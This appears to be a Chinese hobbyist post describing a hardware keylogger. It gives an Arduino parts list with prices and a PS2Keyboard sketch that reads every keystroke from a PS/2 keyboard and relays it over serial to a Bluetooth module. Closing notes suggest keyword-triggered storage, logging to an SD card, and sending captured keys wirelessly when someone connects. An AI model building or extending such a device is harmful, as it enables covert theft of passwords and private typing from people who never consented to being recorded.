1.arduino nano/micro/mini一个 30元左右
2.蓝牙模块一个 20元左右
3.若干导线 一坨3元左右
#include <PS2Keyboard.h>
const int DataPin = 3;
const int IRQpin = 2;
PS2Keyboard keyboard;
void setup() {
delay(300);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);
Serial.println(\"Keyboard Test:\");
}
void loop() {
if (keyboard.available()) {
// read the next key
char c = keyboard.read();
// check for some of the special keys
if (c == PS2_ENTER) {
Serial.println();
} else if (c == PS2_TAB) {
Serial.print(\"[Tab]\");
} else if (c == PS2_ESC) {
Serial.print(\"[ESC]\");
} else if (c == PS2_PAGEDOWN) {
Serial.print(\"[PgDn]\");
} else if (c == PS2_PAGEUP) {
Serial.print(\"[PgUp]\");
} else if (c == PS2_LEFTARROW) {
Serial.print(\"[Left]\");
} else if (c == PS2_RIGHTARROW) {
Serial.print(\"[Right]\");
} else if (c == PS2_UPARROW) {
Serial.print(\"[Up]\");
} else if (c == PS2_DOWNARROW) {
Serial.print(\"[Down]\");
} else if (c == PS2_DELETE) {
Serial.print(\"[Del]\");
} else {
Serial.print(c);
}
}
}
1.功能键部分无法识别(但不影响键盘使用)
2.按键信息还可以通过更便宜、更小、传输距离更远的nrf24l01+,代码有点复杂(为我还没有研究明白)
3.arduino自身提供了EEPROM存储器,但是容量仅仅只有1k,所以没有往上面存储按键信息,如果加入关键字触发,才写入存储,兴许有点用。也可以用micro sd卡模块,将按键信息存储在存储卡中,等到有人连接装置后通过无线发送出去。我没买这个模块,所以这块没有做。
联系客服